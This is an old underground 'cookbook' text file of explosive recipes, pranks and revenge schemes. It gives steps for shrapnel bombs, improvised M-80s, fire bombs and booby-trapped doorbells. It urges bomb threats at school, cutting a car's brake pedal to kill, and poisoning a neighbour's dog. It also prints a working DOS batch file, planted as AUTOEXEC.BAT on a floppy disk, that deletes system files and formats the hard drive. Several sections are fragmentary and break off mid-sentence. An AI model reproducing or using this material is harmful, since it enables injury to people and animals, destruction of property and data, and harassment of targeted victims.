ver.1
Hello everyone! This is the first version of Vortex's Cookbook
to be released!! It will contain a few files of deadly and alot of fun
knowledge
from the underground. I take no responibility if anyone actually makes
or sets off any off the files listed!!!!!!!! I highly stress THIS IS
DANGEROUS and should not be used!!!!!! Some of the files in this are
just
for fun and entertainment. DO NOT submit my name or any one elses under
any
cercumstances for somthing to do with these files!!! If you do you will
not
ever see another version of this thing and I will find you!!!!!
Now that that is all cleared up, I would just like to say that
I am using some of the Jolly Rogers explosives for examples in a few
parts
of these files as will be indicated in the proper spots. I do belive in
giving him along with the other people indicated their due credit.
These files are mainly from my thoughts and expereinces. I hope you
will enjoy these files!!!! There is a limit on how much one can invent,
but I
will update this thing every time I think of something new and
interesting.

Ver. 2
HA! I did it. I never thought that I could come up with 50 of most
of my own idea files in a cookbook! Well I hope you enjoy these files!
I forgot to say something in the above paragraphs that I will say
now. This cookbook is for beginners, not C-4 users!!! It will teach the
basics of how an explosive works and some samples. Their are a few files
of
explosives that make quite a big boom!! And if anyone has any files that
they
would like to put in here, find a board that I am on and e-mail me your
idea.
I will be happy to put anyones files in here as long as they are
original!!!
In other words you invented them and they aren't in any other cookbooks
out
there!!!! You will give me full credit for the files and knowledge I am
sharing with you. If I find ANY of these files in another cookbook, which
are
my own (meaning it excludes any that I typed up but written by someone
else),
being used without my expressed(!!!!) permision, I will have to find some
other
ways of dealing with you. You will not be happy if you do. The last guy
that
pissed me off(who was of the "gangsta" type) looked like he was going to
cry
after he found out what -=> A U P <=- did to him....so beware...I am
always
watching.........

* How to make a dry ice bomb This is one of the most simple bombs to make. It is used for many
different things. If your just out having fun take a two liter soda
bottle and fill it three quarters with water. Then take a piece of dry
ice and crush it. Put just enough to make a layer at the bottom of the
jug. Now cap it and run! You wil have about 10 to 15 sec before it
detonates. It will make quite a boom! I set of a car alarm 30 - 40
feet away with one of these! Now if you are in a war or need one for
self defense you can do the same procedure exept use a glass bottle.
this will throw glass shrapnel, so it can do some damage on a human.
Do not in any way use this on a person unless you are AT WAR!!!!
So be careful!! **CAUTION** There is no set time for detonation so it
is NOT wise to hold in your hand!!!! Here are a few other things you can
do with dry ice:
1. Mix 1 part egg, 1 part paint, 1 part, wipped cream, and fill a two
litter bottle with it. Put about two inches of dry ice in the bottom.
Cap it and get creative.

* How to make a hell of a mess with a co2 explosive All you need to make a super mess is:
-Co2 bomb(by Jolly Roger!!!!)
-a litle 3 x 3 or 4 x 4 box with lid attached.
-30 - 50 pieces of paper
-SCOTCH tape
Take the paper and tear it up into pieces as big as the top
section of your pinky finger. Place co2 in the center of the box
standing
upwards so the fuse pionts up. (The fuse should be at least 15 seconds
long). PACK the paper around the co2 inside the box(fit as many pieces
as
you can). Make a hole in the top of the box so the very tip of co2 peaks
out. Tape box up. Find a sutable victims yard or front porch and light
it and RUN LIKE HELL. The result willbe a mess of thousands of pieces of
white paper. Now be carefull This this also throws shrapnel!!!!
One other way is to make it with a toilet paper roll and insert the
Co2 in hte center and pack the paper in under and around it.

HOW TO MAKE FLASH POWDER INTO A SOLID FOR SMOKE BOMBS
Take flash powder and moisten SLIGHTLY to form a really thick paste.
Embed a fuse in it before it drys. you should put this in a container
that will not melt and has a small opening at the top. You can even
use foil. Now light and watch it smoke!

- How to make a smoke bomb out of a tennis ball Materials:
-One tennis ball
-Alot of strike anywhere matches
-something to punch a small hole
All you have to do is fill the tennisball with the strike
anywhere matches after making the small hole on top. Then throw!
This will be moving when it smoke so it will not be really thick!
But it is good for throwing at peaple on bikes pasing by.
do plenty to just scare them off thier bike!! Ha!!!!
It will
----Vortex
* How to make a smoke bomb with bottle caps Take the bottle cap off of a two liter soda bottle. Then cut
the heads off STRIKE ANYWHERE matches. Take them and pack them in real
tight in the cap so that they come a little above the edge. Diagram:
matches = #
cap = *
#####
#######
*********
*
*
*********
Then you place a beer bottle cap on top of them so that one
end of it touches the two-liter cap. One side should have a gap
bettween the caps about two to three milimeters high. Then take tape
and secure the caps together real tight leaving a little space
in bettween the tape on the raised side of the caps about 2mm x 2mm.
DO NOT PUT TO MUCH TAPE ON!!!!!! You have to put just the right
amount. If you put to much on it wil absorb the shock of you throwing
it and therefor not go off. If you do not put enough the pressure the
matches make as they burn will pop in in half. Once you have followed
these simple but confusing instructions, Throw it real hard against a
real hard surface.

* How to attach a rocket launcher on your bike This file will just mainly give you an idea what you can do.
It is actually very simple. Just take a model rocket launch pad and
take off one of the legs. You should now only have two left. Attach
this to the front or side(s) of your bike. Mount the launch
controller on your handlebars or the bar the runs from your seat to
the front wheel. Then its actually quite simple after this. Just
find a little punk riding his bike, chase him down, then point and
shoot!
------Vortex
- How to make a homemade rocket launcher Materials:
2 - 3 paper clips
2inch dia. 4-6 foot long rapping paper tube.
4 "AA" bateries
1 paper towel tube
4 or 5 wires (I forget)
1. switch
1 piece of cone shaped styrofoam
~ of model rocket engines.
~ of ignighters
First we must make the electrical launching system. Take the paper
Towel tube and cut in so you can fit the batteries in it nice and snug.
Once you have taped that together, tape a wire to the end of the positive
side of the end battery. There should not be any paper towel tube
sticking
out farther than the end of the battery. Now attach this on the tube
about
3 inches from the end. On the negative side of your battery tube make
somewhat
of a flap on the end so that you will be able to tape an exposed wire on
the inside
of the flap. This will act as the ignition button. Next, take a wire
and attach
it to the exposed wire that is on the flap. Run this wire through the
end of the tube
and attach an alligator clip to it. Now for the safty switch. Attach
the wire from
the positive side of the batteries to one side of the switch. Now take a
wire and
run it from the other side of the switch to the inside of the tube. You
must
also attach an alligator clip to the end of this. Now take your cone
shaped peice
of styro foam and fit it into the end of your tube. This should fit nice
and snug and should be extended anywhere from 1 to 6 inches out of the
back
of the tube. You should use the paper clips to attach the cone to the
tube.
2. Note* - you should place tape on the end of the cone on the inside to
keep
it from melting or catching on fire from the rocket engine. Now you
should have
something that looks somewhat like a bazzuka. **NOTE** This is not
guided in any
way, shape, or form. So whatch where you point it!! This file is just
for fun and
enjoyment!! This IS NOT a guided missle launcher!!!!!!!!!! These
engines
go crazy!!!!
Now to shoot it switch your saftey switch on fire and press the
flap down
so the wire touches the battery and Whooooosh!!!!!! Have fun!!

* Things to do to losers 3. Crank call them until disconnect thier phone line.
4. Take thier basketball when they're not home and melt it with napalm.
5. Send them a virus.
6. Egg Their house.
7. Throw ballons full of colored shaving cream in thier back yard or on
thier house.
8. Order 2 - 3 extra large pizas to thier house from 5 different places.
9. Order plumbers to thier house from 5 different places so they come to
the house about 30 minutes apart.
10. Order male and female strippers to thier house.
11. Order a cement truck to thier house full of hot pink cement.
12. Order a dumpster to thier house.
13. Fill thier trash can with little pieces of packing styrofoam.
14. Fill thier trash can with water on trash night.

16. Write fuck you on thier grass with sulfuric acid.
17. Cover thier grass with cement in the back yard when thier not home.
18. Tip over cat houses.
19. Throw thier cloths off of the clothes line onto the roof.
20. Catch and kill alot of BIG bugs and throw them in devious places such
as threw their window. A good way to catch and kill bugs fast is to make
a kill jar like this. Take a pickle jar and fill the bottom 1/2 high
with
plaster. Pour acetone in the plaster after it is dry. Let the acetone
sit for a minute then pour out the execess. Then keep the lid on. After
you catch a bug with this it can take anywhere from 1 - 10 minutes to
kill
the bug depending on its size.

- FUN AT SCHOOL -
If ya want to have a good laugh or just plain phuck someone over
who has pissed you off, then PAY ATTENTION DAMMIT! These are a few fun
things to do at school:
* Re-arange the furniture(desks,ect...). This is easy and provides a
good
laugh, wastes class time, but it will probably PISS the teacher off so
dont
let anyone see you!!!! All you need are a couple of friends, and when no
one is around, take the students desks and turn them upside down. Then
have
all of your friends help you with this one, flip the teachers desk upside
down.
This is very simple, but gives the whole class a great laugh.
* Revenge! Using a mace, pepper spray, or mace substitute(you can find an
exellent one in the JRs cookbook 4)find your enemys locker, and simply
apply
your evil chemical to the combination dial and opening latch. After he
open his
locker, the stuff stays on his weak fingers, and when later he touches
his
ugly face or rubs his eyes he will have the hottest day of his life.
Tell
him thier something in his eyes if you are around so he'll give `em a
good
rub!!!Ha!!Ha!!Ha!!HHHHHHHaaaaaaaaaaaaa!!!!!!!!!!!!
* This gives the whole class a very good laugh! Cut of the fan blades
on an overhead projector when no one is around so it will melt after
being
on for a period of time! If you have enough time fill it part way with
popcorn seeds so when it over heats it goes POP POP POP POP POP POP!!
* If you ever watch a video at school, sneak in the room if possible
right
before you have to go to that class. Switch the video you are supposed
to
watch with a pornography video. Very Funny! Trust me!!!!!
* Revenge! Find out the persons locker combination and take thier stuff.
Its usually more effective when you take something such as thier
organizer
(book or electronic)and right a warning or threat to them on it.
* Call in a bomb threat(DONT GET CAUGHT!).
You will probably get a few
days off of school.
* Find a locker that no one is using that is in a place that people are
around alot. Every day take old food scraps such as bread, milk, orange
juice, fruits, and generally anything that rots..He,He. Leave it in
their
with the locker shut and it will stink up the whole hall way..We had our
own little breed of flies growing in thier..GRoos..But very effective!

- FUN WITH MATCHES 1. This is a cool smoke bomb that I made one day when I was bored. All
you
need is some foil and wooden matches. You can NOT use paper matches or
you
will have #2 as a result. The wood on the wooden matches take up more
space
so you will naturaly not have as much powder as if you had the thin paper
matches. Just take the WOODEN matches and cut the heads off. How many
you
cut is really up to you. The more you cut the bigger and more smoke.
Take
the piece of foil and dump all the heads in. Now pack them in tight and
make
the foil thick. Just leave a little space in the top for a fuse. Crimp
the
foil around the fuse and light!! This is not a slow burning, long
lasting
kind of smoke bomb like the ones you buy at the fireworks stand. This
baby
smokes hard and fast!!! It only lasts a seconds but I think its fun to
do
if you have nothing else to do.
2. This one looks good during the day or night!! It is kind of a flaming
match
head fountain. It shoots out burning match heads into a flower shape.
You
can make a really big display if you use over 2000 matches. TRUST ME ITS
WORTH IT!!!!! Take PAPER matches and rap them in foil just like you did
in file
#1. (Cut of the Heads)Stick the fuse in, light it and RUN! This can be
improved
if you have gasoline all over the ground......
3. Take a candle and rap it in foil. At the top, open the foil so it
makes
a lip at the top. Fill this with matches. After the candle is burning
for
a few minutes.....BIG FLAME!
---------- Vortex
- EXPLOSIVE MISSILES Take a model rocket engine and scrape off the clay covering on the
back until you expose the powder. You take your explosive(ex. co2) and
place
the fuse so it touches the powder. Now make sure they will not get
separated
in flight. You can do this buy simplily taking tape and taping them
firmly
together or take a paper towel tube and cut it down to size to rap around
them
snuggly together. These were made for the rocket launcher I have
designed in
file #007. These are very simple to make but can also be very deadly if
shot
at or around a person!! I do not recomend tring this unless you are
around
NOBODY!!!!!
A really neat display for your rockets is making the paper match
head
I explained in another file and load that on the tip of the rocket. This
makes a great display at night.....
- Alttitude prediction for explosive missiles Depending on the strength of the engine, the wind condition and
how heavy the explosive is will determine how high your rocket will
travel.
I will give you examples of how high the engines will go with an
explosive.
I do not know how high it will go with a very heavy Explosive so you can
figure
it out by using these. This is only thier burnout Altitude. They will
coast
LONG after this.

How to phuck up someones computer
It's called Mr. Happy Delete! It's just a batch file that
can you to really mess someone's computer up. All you have to do is
create an AUTOEXEC.BAT file for a 3 1/2 inch disk or a 5 1/4 inch disk
(but if the computer you want to mess up has a 5 1/4 drive, the computer
is probably really old and not worth the trouble.) This particular batch
file will delete all start-up files (IO.SYS, C:\AUTOEXEC.BAT, COMMAND.COM
MSDOS.SYS), it'll delete C:\DOS if it exists, the Windows directory, and
if Windows 95 is under the directory WIN95, then it'll also be deleted.
As an added bonus, it can also reformat the hard drive. I don't think I
need to tell you not to try this file out on your computer, but since
there are morons out there I'll say it any way: DON'T TRY THIS ON YOUR
COMPUTER! And just in case someone's stupid to acidentally use the file,
it's designed to ask you if you want to proceed to delete start-up files
(and Windows and DOS), and it'll ask you twice if you want to format the
hard drive. Here's a sample file you might want to use:
(NOTE: Unless you know how the CHOICE, GOTO, and ERRORLEVEL commands
work, I don't suggest you try to change them. Although you can change
the messages after the ECHO statements.)
@ECHO OFF
CHOICE /C:YN Execute Mr. Happy Delete?
If ErrorLevel 2 goto End2
If ErrorLevel 1 goto HeHe
:HeHe
ECHO One moment please......
@ATTRIB -S -H -R C:\*.*
DEL C:\MSDOS.SYS
DEL C:\IO.SYS
DEL C:\CONFIG.SYS
DEL C:\AUTOEXEC.BAT
DEL C:\WINDOWS\*.INI
DEL C:\WINDOWS\*.GRP
if exist c:\windows\winfile.exe GOTO DEL1
if exist c:\win95\winfile.exe GOTO DEL2
if exist c:\dos\command.com GOTO DEL3
:DEL1
DELTREE C:\WINDOWS /Y
GOTO END
:DEL2
DELTREE C:\WIN95 /Y
GOTO END
:DEL3
DELTREE C:\DOS /Y
GOTO END
:END2
ECHO Nothing deleted.
goto end3
:END
CHOICE /YN Do you want to FORMAT drive c:\?
IF ERRORLEVEL 2 GOTO NoFormat
IF ERRORLEVEL 1 GOTO FormatDrive
:NoFormat
@ECHO (The computer's hard drive wasn't formatted.)
Goto Cont1
:FormatDrive
@ECHO To format drive C, press Y when your asked if you
@ECHO really want to format.
FORMAT C:
@ECHO Drive C has been formated (Unless you pressed N)
:Cont1
@ECHO This computer is now officialy screwed. Thanky you for using Mr.
Happy
ECHO delete! Have a nice day!
:end3
In order for this to work, you need to copy the files FORMAT.COM,
CHOICE.COM, DELTREE.EXE, ATTRIB.COM, and make sure you save the file
described above as AUTOEXEC.BAT saved on the disk that'll make someone
very, very unhappy. (NOTE: Just in case anyone's stupid enough to save
it in drive C, make sure you save AUTOEXEC.BAT as A:\AUTOEXEC.BAT or
B:\AUTOEXEC.BAT)

- A BASIC GUIDE TO BEING SNEAKY AND CAUTIOUS -
In this file it will tell you all the basics of how to work
underground, how to do devious things without geting caught, and how to
be cautious and to always watch your back.
You probably know if you work underground that you will always
have to watch your back. When ever you contact one of your associates
you always agree on a meeting spot ahead of time(this should be done
first
after starting your group or initiating a new associate). You should
have
more than one metting spot for a backup. Avoid making written notes and
messages
to your associates. If you can`t then you should always encrypt them(You
can
also do this at the begining of organizing your group). If you ever send
threats through the mail ethier type it or have someone write it in a
sloppy
form (most common is the typed). Its common sense not to leave finger
prints on
it, but if you do you better hope there not smart enough to take it to
the cops!
If your working underground its also common knowledge not to tell anyone
about it outside your group. If you do they tell their best friend then
they tell their best friend and so on. Dont ever talk about any
operations
in the public. Only talk to your associates in isolated places. *Always
do a basic sweep for bugs when talking to an associate about the op. You
can do that by checking around the phone and phone lines, you should
check
in the phone, look in odd spots around the meeting spot such as under
tables,
under the rug, in corners, and basicly EVERWHERE!!! ALWAYS assume that
someone is watching and listning. You should also look for suspicious
looking vehicles around. Mainly any car just sitting their. When you do
have your mettings you should always have someone scouting around before
and during your meeting.
When doing an operation or whatever and you don't want to get
caught,
you should again watch your back. Dont look around in a suspicious way,
because then that just leeds more people into suspicion. If its an op.
taking place outside than your aproch is most important. Watch your
shadow,
watch where you step because if you step on a dry leaf or twig you can
create noise and alert your target. If you alert your target its all
over.
You give yourself a better chance at getting caught and you cannot
complete
your misson. I will give you a "stupid" example of an operation. You
are
in class and your objective is to take the folder of the jerk off sitting
next to you. Its only obvious that you make your move when he is not
have
view of the folder("When hes turned away" for all you non-intelligent
people).
Now the key to taking something in a situation like this is to move SLOW!
If you move fast and snatch it many things can go wrong. He could feel
it
taking of at one hundred miles per hour, you could alert one of the other
classmates who could give you away, or if he tuns around and you let go
and
slowly move away he won't notice you. But if your hands are ziping away
because you dont want to get caught, he WILL see you!!! If your slow and
casual
you wont ever get caught. You can not under any circumstances trust any
one.
If you do it could mean exposure or death. You can't even trust your
most
treasured friend.......

- How to convert a cap gun into a very loud cap gun This can only work with certain kinds of cap guns. The ones you
find at disneyland. They look like old single shot black powder guns.
They have usually only one spot for a cap(somtimes two depending on what
kind of gun it is). This is very simple to do. All you do is where you
would normally put your cap, you put about 1 - 2 firecrackers worth of
flash
powder. Make sure it is spread out evenly. Then you place two to three
caps on top of the powder. This is made so when you pull the trigger and
the hammer drops it will set of the caps and the caps with thier violent
flash will ignite the flash powder instintainiously causing a loud BOOM!!
I have heard mine go let off a sound equivalent to a 9mm pistol. The
average
is about as loud as a 22 pisol, but varies on a few things (how much
powder,
how many caps, the rate of the hammer, and how fast the caps go off).
You
can not set this of with just the hammer by it self because it takes alot
more pressure to ignite the caps since the powder is cusioning it. This
is
done very simply. Just add 5 to 6 rubber bands around the hammer to give
it more force as it flies down. If you shoot the gun off right after you
load it you can leave it like that, if not you must put a piece of tape
over
the powder so it does not get blow off. This will provide fun for you
and
a fake threat to your loser nieghbors.

- How to make a little flasher This is very simple and provides entertainment if you have nothing
else to do. It takes about an hour to cut up all the caps, unless you
have
a few friends. You need the paper caps that come on a roll. Not the
plastic
ones. Then take a wide candle about 3\4 inch in diameter. Take out the
wick so you have just the wax. Cut the wax so its about an inch tall.
Then
make a hole in it about the width of a teenagers pinky finger and leave
the
bottom about 3mm thick. After you have done that and cut out the caps in
a circular form (make sure you do not leave excess paper around the
caps),
compact the caps in the wax cylinder(not pressing to hard!). After you
have
about half the caps in, place the wick in the cylinder. Then finish
packing
the caps in. The wick should be sticking out of the cylinder about 1\2
inch. Now light it........It should flash when the flame hits or heats
up
the caps. The speed of the flash depends on have compact the caps are.
If they are not packed in good they will more likley burn than flash
which
will cause a little mushroom cloud of smoke which I think is cool to.
Have fun!!!!

- How to make a bomb out of a sample perfume container All you need is a sample perfume container, some flash powder,
and a fuse. Take the sample perfume container and fill about half way
with flash powder. Then take some dirt or some kind of non flammable
powder
and fill the rest of the container with it. This is to keep the flash
powder from melting the cap and to keep the presure from excaping through
the hole in the cap. You need to cut the hole so the fuse will fit
snuggly in. Then take some tape and rap it lenght wise so its holding
the cap in place tightly. Then make a hole through the tape where the
hole in the cap is and insert your fuse so that it goes all the way
through
the dirt and into the flash powder. Then light and run!! This only
throws
out little tiny fragments of glass but it still is not worth geting hit
with
trust me!! My friend had stood three feet away from this thing when it
went off and it gave him alot of little holes in his leg (because he was
wearing shorts) which I might add were bleeding!!!

They are relliable and sturdy.
You need to first make the saftey circut. Take two of the switches

Now that probably does not make any sense at all. Then the detonation
circut must be constructed. You use all 3 switches in this one. Take
the
two switches that you had for the above circut and the other switch so
that
all of them have to be switched forward or "on" to complete the circut.
This will make sure that it is completely safe if the switches are turned
off. Here is another sorry diagram:
4"AA"____/_____/______to explosive

Here, mabye this will explain it better. The whole circut is made so
that
when you switch the first two switches the led lights will glow telling
you
that the detonator is armed. When you flip the final switch it will
complete the circut detonating the explosive. I will use the simple Co2
bomb as an example. You will need an igniter(the kind used to launch
modle
rockets) which can be found at you local hobbie store. Instead of
inserting
a fuse, place the igniter in its place. Attach the cables coming from
your
detonator to the igniter. Then flip the switches!!

tabs you find on the tops of coke cans. Take a square like stick, some
rubberbands, a clothespin, and a metal u-shapped tack. Take your
rubberband
and secure it at the end of the stick with the tack makeing sure its
centered. Then take your clothes pin and secure it about a foot down the
stick by rapping about 10 - 20 rubberbands around the base of it. Then
rap
the same amount around the front of the clothespin. This will keep the
tab
from sliping when cocked. Then take you bottle tab that still has the
little
square or round shaped object still attached and place it so that the
rubberband holds the little round shaped object. Then pull it back so
that
it will be held by your reinforced clothespin. Then to shoot, just press

- Fun with lighters -
There is many things that you can do with lighters. They are
cheap and usefull. These are only a few of the many things you can do
with a lighter. Do not use and electric lighter for best outcome.
1. Get a brand new lighter and make a little bon fire. Make sure the
flames of the bon fire are exposed. Place the lighter in the fire and
get back and let it burn. After the fire melts through the plastic
covering the lighter will create a giant fire ball. Very cool to watch
at night.
2. Take a brand new lighter and throw it away from you an a hard
surface.
It will explode from the pressure inside.
3. Take a brand new lighter and take off the spark wheel, then the
ussually
black cover. You should be able to see an unscrewable peice of plastic.
When you unscrew this, it will realease the gasses. So light a match and
you have yourself a temporary blow torch! They only last from 10 - 50
seconds depending on how much you unscrew the top.
4. Heres how to make another kind of blow torch. Take a medical
syringe without the needle. Place the tip of the syringe on the gas
port. Then hold down the gas realse and suck it up into the syringe
very slowly. Then cap the syrenge if you want to store it. All you
have to do to use this thing is light the lighter about an inch from
the tip of the syringe and push! Depending on how fast you push it
will determine how big and how long your flame will last. Experiment!
5. This will give you a nice little sparkle...Light the lighter and
then strike the spark wheel again while the lighter is lit to get a
little sparkeling flame.
6. You can have a fire breathers effect if you suck up the gas into
your mouth and blow as the lighter is lit......

your gun powder. Then take a little peice of paper to seperate it from
the top halfs contents. Then poor the baby powder and bbs in at the same
time so they mix. Insert the fuse so it goes through the baby powder and
the paper and is touching the gun powder. Punch a hole in the lid and
fit the fuse through it. You must screw the lid on very tightly. Insert
this into the pipe facing outwards when you light it. IT must either fit
very tightly or half a back on the pipe or the container will shoot out
the
end. BOOOOMMM!

if he has *69 callback the modem will give him a nice screaching noise.
During Christmas find a house with lights up. YOu have to do this during
the day so be sneaky! Cut the wire somewhere in the middle of the lights
and hook up an explosive such as an M-80 or pack of fire crakers...You

house.
This works best with the ones that don't flash and are on constantly.
Find a public bathroom and put Selaphane on the toilet right below the
bottom lid so that when the sit down or stand and start to piss or crap
their will be a pretty big mess starting to run all over the bathroom.
Go

make your way over to the bathroom. Stuff the french fries and the
rappers
in the hand dryer. Then (make sure no one is in the bathroom except you
and your friends) take off the toilet paper roll and teppe thier
bathroom.
Dudring christmas or a birthday..rap someones present in this special
way.
After doing the normal rap job, tie it up with twine, so that it is all
over
the present. Then stick a popper(the kind you pull the string on both
sides
and the firecracker in the middle pops)under the paper so that the
strings
are exposed. Then teel them in order to untie it you have to pull those
strings at the same time so the twine will come loose. Sneak in your
victims

Take a C6-7 model rocket engine and place it in his vice grips. Ignite

- Stink bombs This file will explain a few different ways to make stink
bombs.
1. This is your basic stink bomb...Like the kind you can buy at
certain stores. Take a few eggs and place them in a glass jar.
You then must sprinkle some sulfur on them just to layer the top.
PLace this outside on a high place in the sun where the bugs can't
get to it. The lid to the jar must be off. Let that sit for about
2 to 3 weeks. Then divide into your small or big glass containers
and Throw it at a party or at or in someones house who you dont like.
2. This one is your basic perfume bomb. It will have the same effect
of the one above exept for the difference in smell. Take one part
mixed perfumes and one part alcohol and you have an extremly strong
smelling substance. This one won't make your victim throw up, it will
probably have one of these few effects....pass out..leave their house
for a day..go crazy..see stars...think they are going to see stars.
----=>Vortex<=----Devious things to do to a car1. Take it apart
2. Strip the radio and all the good stuff
3. Cut it in half with thermite
4. Slash the tires
5. Take it at night and drive off road through the mud and return
before they wake up.
6. Cut off the gas peddle...Brake peddle if your looking to kill them.
7. IF the window is open take thier hose at night and stick it in and
turn it on.
8. Hook up somthing in the lines of a smoke bomb on their ignition
system
using the electrical igniters that you use for modle rockets.
9. Fill it with dog crap.

the
employees find the mess. Don't Get Caught! Goto one of the computer
stores and find the section were they have all of the computers on
display.

- M-80 Little do you know it is very simple to make an M-80. Find a
cardboard tube about 2 mm thick about 3 1/2 inches long and a space in
the inside about 1/2 an inch. Take the tube and pour plaster about one
fourth the way down the tube. Let it dry. Then make a hole on top just
big enough for the fuse, so the fuse will fit nice and tight. Then pour
your powder in until you have about one fourth of the tube left for the
plaster on the other end. I recomend using a smokeless powder that burns
really fast. This way its more likely to fire. If you use flash powder
it might not go off. make sure you insert the fuse into the hole before
you poor in the powder. The powder must be packed in tight. Then place
a peice of paper on the powder so the plaster does not ruin it. Then
pour
the plaster in filling the rest of the container. Then let it dry for at
LEAST 3 - 4 days. Then light and run. If you foolowed the steps above
correctly then it should work great.

--Acetone Explosive-This file is very cool and is also very dangerous. Take a glass
jar and fill it with acetone. Make sure the jar is only as tall as a co2
bomb. Then make a waterproof co2 bomb and secure it in middle of the
acetone filled jar. Now seal the jar so all you can see outside of the
jar
is the fuse. The next step you must only due when you are about to use
it.
Coat the jar in napalm and light the napalm. Then light the fuse right
after. Then run as if you just escaped from jail. This will be a
spectacular
fire bomb and sight. It is very cool to watch this as it goes of when
you
see a ball of fire coming out...as long as you and no one else is around
it. Try gas..I think that would also work very well too!

---Viniger and Baking Soda Bomb--This is an alternative from dry ice.. Dry ice is much easier to
work with, but this is much easier to get ahold of. Take a 2-liter soda
bottle and cut off the top so that you will be able to fit a glass 7-up
bottle in it. Fill A glass 7-up bottle with viniger and screw on the
lid.
Fill the 2 liter soda bottle with baking soda about 1/3 of the way.
Place the glass bottle inside the 2 liter soda bottle. Seal the 2 liter
bottle up by melting it back together the way it was. This bomb will
only
work if you seal it up correctly. That is the most crucial part. Then
place the lid on the 2 liter soda bottle and your done. Now to set it
off
you need to throw it really HIGH in the air. High enough for the glass
to break and the contents to mix. BBBBOOOOOOOOOOOMMMM!!!!!!!

the
center. Fill the rest of your container with bb's. Then if you using
the
glass jar, Screw on the lid. If your using the Pellet container, seal
with
duct tape. Make sure you have a little hole in the lid of the container
to
let the fuse peak through. I like the pellet container the best because
you can apply silly puddy to the back of it and stick it on a wall near
your
enemy. And if you do that you have the option of making it electronicly
detonated....Becarefull or else.........

- Simple Poison Youll have to find a handfull of those mushrooms that grow in
your back yard. Or you can find them at local parks. Then allow those
to dry out. Powder them after they are extremly dry. Then take whatever
medications you can find in your home cabinet. YOu can go to your local
drug store and find things such as Asprin, tylonol, Anti-diarreal pills.
It must be a pill because you will need to powder them as well. If it
is a gel cap, just open it up and dump them out. You must then mix these
with the mushroom powder. Because of its bad taste you will have to
disolve it in water or a liqiud. This recipe will work wonders on an
annoying dog in the neighborhood. You can also ad something like dimetap
or robitusun or any liquid drug and pour little amounts on your powder
then
letting it dry. After that is acomplished you can get the dog to eat it
if you sprinkle a little dog biscut flavoring....

- Door Bell Bomb This one you can either make really nasty which I do not suggest!
Wait until your victim leaves his house. Then sneak over and unscrew the
door bell button plate so that you expose the wires. Then snip one of
the
wires and strip both tips. Then you will need to attach an igniter on
the
wire so that the circut is once again complete. Then you attach the
igniter onto your disired explosive and screw back on the plate. Then
when
the next person goes to ring the door bell it will complete the circut,
therefor detonating your explosive. if your slick enough to hide extra
wire
leading out from the door bell so that your explosive can be hidden in
the
bushes or under the mat. When you do that you can usually make the
explosive
a greater size than if you were to just hook one under the plate.
-Vortex- Other Electric Detonated Explosives This file will give you a few ideas about what you can do with
Electronicly Detonated Bombs (EDE's). If you know your basic stuff you
can easily take apart a TV and place you EDE on the wire that leads out
from the wall or back into the wall(doesn't matter). You can do the
same with stereo's and Vcr's. It is all made possible by the most
available
supply...The Estes model rocket igniter..or a blasting cap if you can get
ahold of one. If you really wanted to get creative, put one in the
electric
pencil sharpener at school..Rig up some firecrakers or bottle rockets
without
the stick or something to that effect. Be Creative!
-Vortex- Acetone Bomb II This fire bomb is great to take someone by suprise. This can be
thrown from a distance just like the ussual fire bomb. Except this one
is
made to expand a fire that is already started. Such as a little bon fire
that your victims have made or a little "chemical" fire that there
messing
around with. If they want to see chemical fire chuck one of these to
them.
What you nee to do is fill a water ballon with acetone or gas. You can
do
this by sucking up the acetone or gas in a syringe and then squirting it
in
to the ballon. The ballon should be filled just right. Just as if it
had
water in it. Then from here on is pretty much self explanitory. Just
throw this at the fire your victims had made or the one you had made if
your just testing it out. Try to hit a little before the flame. Then
you
will have an extremly fast moving fireball so look out if your anywhere
near it. This one is good so you dont have to worry about dropping a
glass
firebomb and it setting off at your feet. Or you don't have to worry
about
it going out in mid air if you throw it to hard. All you need is a
little
tiny flame at the impact point and you have yourself a big onE.
-Vortex- Neon Terror This is very simple and takes no effort on your part. Go to the
store and buy the neon glow sticks. Crack them so they glow. Then after
their done glowing take some wire cutters and cut the tip of to expose
the
contents. Then strain out the glass framents in the tube and poor the
liquid into another container. You should do this with quite a few of
them
in order to get a good reaction from your victim. Go at night and poor
the liquid on his house. When he gets up in the morning he will come
outside and notice that his house has bloches of neon all over the house.
This prank might prove to be slight on the expensive side, so have a few
of your friends chip in for the sticks. Have Fun!
-Vortex- Home made igniters This file will explain basicly how to make your own igniters. If
your the kind who likes to have everything made by yourself so your sure
everything will work. Igniters can be made from things you have in your
home.
All you need is:
1 Light bulb
2 thin solid wires
Take your light bulb and break off the outside glass. Try not to break
the
filament inside. Once you have the filament you are going to have to
stretch it without breaking it. After that is done, cut of a peice about
an inch long. Then take your to thin, but solid wires. Rap one end of
the filament about 2 or 3 millimeters from the end. Then crip the 3 mm's
down onto the filament. Then leave about 3 mm of space in between the to
wires. Then do the same with the filament raping on the other wire.
Here is somewhat of a diagram:
! = wire
- = filament
!-!
! !
! !
! !
Then after you have made this you must make sure that the filament will
not
brake and so that the wire do not touch. You can fix that problem by
simply
adding tape just below the filament so that the wires are held firmly
together.
-Vortex- Fuses There are many different ways to make fuses, but I have an quick
and easy recipe for them. I have made these many times before and know
that they are nice and reliable. A lot of documents have been made for
fuses. Two things are factors in making good fuses. Number one is the
material, and number two is the chemical. I find twine a good source for
the material. IT comes in a big roll so you can make lots of fuse out of
it. Then the best chemical that I have ever used on fuses is flash
powder.
It burns quick and is reliable to ignite your pyrotechnic device. All
you need to do is dampen the flash powder and mix it to where the flash
powder is not quite as liqiudized as water. It should be a little more
than a paste, but not quite water. This will prove to soak into the
twine
better. Then you take your twine and rub the flash powder into it. This
should be done with three fingers. You should make only one coat. After
you have made the whole string you should hang it up to dry for a minumum
of three days for maximum effectancy. *Note* - The twine usually has
three
strans of rope winded together. Undo one of these strans so that it
thins
the twine down to two strans. Unless you want it for a high explosive
device.
-Vortex- How to make someones life miserable This file was made for the purpose of geting someone of hate back.
You should only use this for someone who does not like you or thinks
thier
big and tough. Now to start, get about three to four friends (that is
not
including you). When you get to your enemys house, you have to people
sneak into the back yard. One person locates the hose and starts to
puncture
as many house in it as possible, dont do them all within one foot of the
hose. Do them all over so that he will have to completely replace his
hose.
Then the other person in the back yard goes to any bushes that your enemy
might have. Very quietly, he will start shreding them and scatering the
debre all over the yard. This might not seem like it will do much, but
trust me, it will contribute to the mess in the back yard. Then after
the
other friend is done with the hose he will then move on to the grass.
He will start to dig up the grass anywhere he pleases makeing many holes
all over the yard. While he is doing that, if the other friend is done
with
the bushes, he will then move to the house. He will have eggs and paint
in hand. He will first smear the eggs on his house. Do not by any means
throw them because then you will alert your victim inside the house with
the
